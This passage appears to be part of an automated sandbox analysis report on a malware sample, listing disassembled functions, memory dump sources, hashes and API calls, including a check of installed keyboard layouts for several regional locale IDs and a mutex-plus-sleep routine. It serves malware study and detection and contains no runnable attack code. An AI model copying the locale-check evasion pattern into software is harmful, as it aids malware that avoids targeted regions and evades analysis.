Associated: 00000000.00000002.1731150621.0000000000D45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731166776.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731181989.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731198236.0000000000D54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731212586.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload$VUUU$invalid stoi argument$stoi argument out of range
API String ID: 3677997916-1112634906
Opcode ID: 7744cbd8c6b76831c4ccc2be2cb59f672f0786a2c92e81179f84a2a6e0345d32
Instruction ID: 79d2d3f11d9b435fda32d5190d8853a0ab38161a7243d94fe2a83093337213db
Opcode Fuzzy Hash: 7744cbd8c6b76831c4ccc2be2cb59f672f0786a2c92e81179f84a2a6e0345d32
Instruction Fuzzy Hash: 51C21671A001189BDF28DF68CD85BEDB7B5FF85300F144299E809A72C2DB759A89CF91

Function 00A4735A Relevance: 2.5, APIs: 1, Instructions: 1031
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1729047978.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.1728970474.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729047978.0000000000AA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729340232.0000000000AA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729413723.0000000000AAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729461103.0000000000AB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729946468.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729971104.0000000000C12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729997827.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730033777.0000000000C23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C26000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730532381.0000000000C60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730559841.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730631267.0000000000C69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730657924.0000000000C73000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730693060.0000000000C96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730714643.0000000000C9B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730736279.0000000000C9C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730764104.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730781252.0000000000CA2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730794635.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730844610.0000000000CB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730857984.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730874045.0000000000CB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730890684.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730906799.0000000000CC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730920916.0000000000CC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730935879.0000000000CCB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730952711.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730976384.0000000000CDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730991266.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731006499.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731020785.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731038868.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731094786.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731108634.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731121087.0000000000D3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731138151.0000000000D43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731150621.0000000000D45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731166776.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731181989.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731198236.0000000000D54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731212586.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: ConditionVariableWake
String ID:
API String ID: 1192502693-0
Opcode ID: 2a36c2f0b132f722e1ef635c3000a9efb740874293cd7a56c3ca0bcf7e3b7437
Instruction ID: c11d812ad8694b4135c527ed6c5d1f505f69ee6e509683322defa0462a7b2b14
Opcode Fuzzy Hash: 2a36c2f0b132f722e1ef635c3000a9efb740874293cd7a56c3ca0bcf7e3b7437
Instruction Fuzzy Hash: 88725B71A10284AFEB18EF78CD85B9DBB75EF85310F508658F805A73C2DB359A84CB91

Function 00A7652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00A7652A,?,?,?,?,?,00A77661), ref: 00A76566

Memory Dump Source

Source File: 00000000.00000002.1729047978.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.1728970474.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729047978.0000000000AA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729340232.0000000000AA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729413723.0000000000AAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729461103.0000000000AB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729946468.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729971104.0000000000C12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729997827.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730033777.0000000000C23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C26000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730532381.0000000000C60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730559841.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730631267.0000000000C69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730657924.0000000000C73000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730693060.0000000000C96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730714643.0000000000C9B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730736279.0000000000C9C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730764104.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730781252.0000000000CA2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730794635.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730844610.0000000000CB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730857984.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730874045.0000000000CB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730890684.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730906799.0000000000CC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730920916.0000000000CC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730935879.0000000000CCB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730952711.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730976384.0000000000CDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730991266.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731006499.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731020785.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731038868.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731094786.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731108634.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731121087.0000000000D3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731138151.0000000000D43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731150621.0000000000D45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731166776.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731181989.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731198236.0000000000D54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731212586.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 1205629eb1fa8688ecff7c301ee2bc49fd06b7a1dcbf3e8f9997e296b0695b27
Instruction ID: 9995b2d696975a12da935db9ce89675861a8938389db682a3e95b3060127e2b4
Opcode Fuzzy Hash: 1205629eb1fa8688ecff7c301ee2bc49fd06b7a1dcbf3e8f9997e296b0695b27
Instruction Fuzzy Hash: 0DE086311425086ECF257B18CD1DF883B5AEB61740F00C414F80C4A526CB25ED51D540

Function 054F00F6 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1732599659.00000000054F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17b7a5decf590178d97354b34dae9187e10b0cc6ace93365b7b91b0a8675aa09
Instruction ID: 987fef0de39c42f4003532df0a89e88746eec1aee3dc5f2b0dcebca8d2805cfd
Opcode Fuzzy Hash: 17b7a5decf590178d97354b34dae9187e10b0cc6ace93365b7b91b0a8675aa09
Instruction Fuzzy Hash: B9F086E714C210FD6182D78D57495F6AA9BB6EB2307304123F60FC6603E5974A5B6321

Function 00A45C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434COMMON

Download Yara Rule

Strings

0000043f, xrefs: 00A4612B
Keyboard Layout\Preload, xrefs: 00A46054
00000419, xrefs: 00A46098
00000422, xrefs: 00A460C9
00000423, xrefs: 00A460FA

Memory Dump Source

Source File: 00000000.00000002.1729047978.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.1728970474.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729047978.0000000000AA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729340232.0000000000AA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729413723.0000000000AAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729461103.0000000000AB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729946468.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729971104.0000000000C12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729997827.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730033777.0000000000C23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C26000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730532381.0000000000C60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730559841.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730631267.0000000000C69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730657924.0000000000C73000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730693060.0000000000C96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730714643.0000000000C9B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730736279.0000000000C9C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730764104.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730781252.0000000000CA2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730794635.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730844610.0000000000CB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730857984.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730874045.0000000000CB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730890684.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730906799.0000000000CC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730920916.0000000000CC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730935879.0000000000CCB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730952711.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730976384.0000000000CDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730991266.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731006499.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731020785.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731038868.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731094786.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731108634.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731121087.0000000000D3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731138151.0000000000D43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731150621.0000000000D45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731166776.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731181989.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731198236.0000000000D54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731212586.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 5954035b6c1b51b865089472bad8e9994f878e081d26e6da044a5a02d78e61da
Instruction ID: 4ee13cdf9f0a8df65ce7c2f5c1df2984209a396c86d4d38c20092c37b4b39922
Opcode Fuzzy Hash: 5954035b6c1b51b865089472bad8e9994f878e081d26e6da044a5a02d78e61da
Instruction Fuzzy Hash: 68F1D270900248ABDB24DF64CD85BDEBBB9FF45300F5045A9E908A72C2DB749A88CF91

Function 00A49BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00A4A963
CreateMutexA.KERNEL32(00000000,00000000,00AA3254), ref: 00A4A981

Memory Dump Source

Source File: 00000000.00000002.1729047978.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.1728970474.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729047978.0000000000AA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729340232.0000000000AA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729413723.0000000000AAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729461103.0000000000AB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729946468.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729971104.0000000000C12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729997827.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730033777.0000000000C23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C26000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730532381.0000000000C60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730559841.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730631267.0000000000C69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730657924.0000000000C73000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730693060.0000000000C96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730714643.0000000000C9B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730736279.0000000000C9C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730764104.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730781252.0000000000CA2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730794635.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730844610.0000000000CB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730857984.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730874045.0000000000CB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730890684.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730906799.0000000000CC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730920916.0000000000CC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730935879.0000000000CCB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730952711.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730976384.0000000000CDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730991266.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731006499.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731020785.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731038868.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731094786.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731108634.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731121087.0000000000D3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731138151.0000000000D43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731150621.0000000000D45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731166776.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731181989.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731198236.0000000000D54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731212586.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7ad8ba38eaee3c304e57de16d99826e23c187c7ab869d8de2ca50daea862fbf7
Instruction ID: c9d0e7cfdc08e75671951c8908edf50bd89296dcdd367c9ad9155038b97c66bf
Opcode Fuzzy Hash: 7ad8ba38eaee3c304e57de16d99826e23c187c7ab869d8de2ca50daea862fbf7
Instruction Fuzzy Hash: EB3146717402048BEB18DB78DDC9BAFB7A2EBD6310F248219E018D76D6C77589858B51

Function 00A49F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00A4A963
CreateMutexA.KERNEL32(00000000,00000000,00AA3254), ref: 00A4A981

Memory Dump Source

Source File: 00000000.00000002.1729047978.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.1728970474.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729047978.0000000000AA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729340232.0000000000AA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729413723.0000000000AAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729461103.0000000000AB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729946468.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729971104.0000000000C12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729997827.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730033777.0000000000C23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C26000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730532381.0000000000C60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730559841.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730631267.0000000000C69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730657924.0000000000C73000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730693060.0000000000C96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730714643.0000000000C9B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730736279.0000000000C9C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730764104.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730781252.0000000000CA2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730794635.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730844610.0000000000CB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730857984.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730874045.0000000000CB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730890684.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730906799.0000000000CC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730920916.0000000000CC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730935879.0000000000CCB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730952711.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730976384.0000000000CDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730991266.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731006499.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731020785.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731038868.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731094786.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731108634.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731121087.0000000000D3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731138151.0000000000D43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731150621.0000000000D45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731166776.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731181989.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731198236.0000000000D54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731212586.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 03b57d0a48775bfcd4deae470064bb789245bdb08fb08487aa875f4e7b6a8b20
